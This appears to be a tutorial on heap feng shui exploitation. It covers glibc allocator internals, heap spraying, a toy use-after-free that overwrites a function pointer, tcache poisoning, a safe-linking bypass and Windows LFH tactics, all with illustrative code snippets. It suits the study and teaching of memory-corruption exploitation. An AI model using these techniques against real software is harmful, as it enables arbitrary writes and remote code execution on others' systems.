Heap Feng Shui: Controlling Memory Layout for Exploitation
Advanced heap exploitation techniques - understanding allocator internals, shaping heap layout, and achieving reliable exploitation through careful allocation patterns on glibc and Windows.
What is Heap Feng Shui
Heap Feng Shui is the art of manipulating the heap allocator’s state so that specific memory allocations land at predictable, attacker-controlled locations. The goal: when a vulnerability triggers (use-after-free, overflow, double-free), the corrupted memory overlaps with an object whose fields you control.
The name comes from the ancient practice of arranging space for optimal energy flow - here, we arrange heap memory for optimal exploitation flow.
glibc Heap Internals (ptmalloc2)
Chunks
Every malloc() allocation returns a chunk with metadata:
+------------------+
| prev_size (8B) | ← Only used if previous chunk is free
+------------------+
| size (8B) | ← Chunk size + flags (PREV_INUSE, IS_MMAPPED, NON_MAIN_ARENA)
+------------------+
| user data | ← What malloc() returns (pointer to here)
| ... |
+------------------+
Free Lists
When chunks are freed, they go into bins based on size:
| Bin Type | Size Range | Structure | Speed |
|---|---|---|---|
| tcache | 0-1032 bytes | Per-thread, LIFO linked list, 7 per size | Fastest |
| fastbin | 16-160 bytes | LIFO linked list, no coalescing | Fast |
| unsorted bin | Any size | Temporary holding, FIFO | Medium |
| small bins | 16-1008 bytes | Doubly-linked, exact size match | Medium |
| large bins | >1008 bytes | Sorted by size, best-fit | Slow |
Allocation Order
When you call malloc(size):
- Check tcache for exact size match
- Check fastbin for exact size match
- Check unsorted bin
- Check small/large bins
- Request memory from OS via
sbrk/mmap
The Core Technique: Fill and Shape
Step 1: Spray to Fill Gaps
The heap starts in an unpredictable state. Allocate many chunks of your target size to consume existing free chunks and push the allocator into a known state:
// Spray 100 chunks of size 0x80 to normalize the heap
void* spray[100];
for (int i = 0; i < 100; i++) {
spray[i] = malloc(0x80);
}
Step 2: Create the Target Hole
Free a specific chunk to create a “hole” in the heap. The next allocation of that size will land in this hole:
// Free chunk at a known position
free(spray[50]); // Creates a 0x80-sized hole
Step 3: Replace with Controlled Data
When the vulnerability causes a new allocation of the same size, it fills the hole. If this is a use-after-free, the dangling pointer now points to your data:
// Victim code uses dangling pointer to spray[50]
// We allocate a new object that fills the same hole
struct evil* e = malloc(0x80); // Lands where spray[50] was
e->vtable = &fake_vtable; // Control the vtable pointer
// Victim uses dangling pointer → calls our vtable → RCE
Practical Example: Use-After-Free Exploitation
The Vulnerability
struct User {
char name[32];
void (*greet)(struct User*); // Function pointer at offset 32
};
// Bug: user is freed but pointer isn't nulled
struct User* current_user;
void delete_user() {
free(current_user);
// current_user not set to NULL → use-after-free
}
Exploitation Steps
# 1. Create a user (allocates ~40 bytes)
create_user("AAAA")
# 2. Delete user (frees the chunk but pointer remains)
delete_user()
# 3. Spray objects of the same size to fill the freed slot
# The new allocation overlaps the old User struct
payload = b"A" * 32 + p64(win_function) # Overwrite greet() pointer
create_note(payload) # Same malloc size as User struct
# 4. Trigger the dangling pointer
greet_user() # Calls current_user->greet() → win_function()
Tcache Exploitation (glibc >= 2.26)
Tcache Poisoning
The tcache free list stores forward pointers. Corrupt a freed chunk’s forward pointer to redirect the next allocation:
# 1. Allocate and free two chunks (they enter tcache)
a = malloc(0x80) # tcache[0x80]: empty
b = malloc(0x80)
free(b) # tcache[0x80]: b → NULL
free(a) # tcache[0x80]: a → b → NULL
# 2. Overflow from adjacent chunk to corrupt a's forward pointer
overflow_write(a, p64(target_address))
# tcache[0x80]: a → target_address
# 3. Allocate twice: first gets 'a', second gets target_address
malloc(0x80) # Returns 'a'
evil = malloc(0x80) # Returns target_address → arbitrary write
Safe-Linking Bypass (glibc >= 2.32)
Modern glibc XORs the forward pointer with chunk_address >> 12:
# Mangled pointer = real_pointer XOR (chunk_address >> 12)
# To forge a valid pointer, you need a heap leak
heap_leak = leaked_address
heap_base = heap_leak & ~0xFFF # Page-aligned
mangle = target_addr ^ (chunk_addr >> 12)
overflow_write(a, p64(mangle))
Windows Heap: Low Fragmentation Heap (LFH)
Windows uses LFH for small allocations. Unlike glibc, LFH randomizes allocation order within a bucket, making Feng Shui harder.
LFH Activation
LFH activates after 18+ consecutive allocations of the same size. Before that, the NT heap’s backend allocator is more predictable.
Windows Strategy
- Pre-activate LFH by making 18+ allocations of target size
- Spray heavily - LFH buckets contain many slots, so you need more allocations to fill them
- Use deterministic objects - Some Windows objects (like
BSTRstrings,TypedArrayin browsers) have more predictable allocation behavior
Tips for Reliable Exploitation
- Match allocation sizes exactly - Use
malloc_usable_size()to check actual chunk sizes - Account for metadata -
malloc(n)allocatesn + 16bytes (8B prev_size + 8B size) - Align to chunk boundaries - Chunks are 16-byte aligned on 64-bit systems
- Fill tcache first - tcache holds 7 per size class. Fill it to force fastbin/unsorted bin behavior if needed
- Use stable spray objects - Choose objects with known, fixed sizes. Strings, arrays, and custom structs work well
- Test determinism - Run your exploit 100 times. If reliability is below 90%, your Feng Shui needs work
Heap exploitation is ultimately about controlling probability. Heap Feng Shui transforms a random crash into a reliable exploit by making the heap layout deterministic. Master the allocator internals for your target platform, and the exploitation becomes mechanical.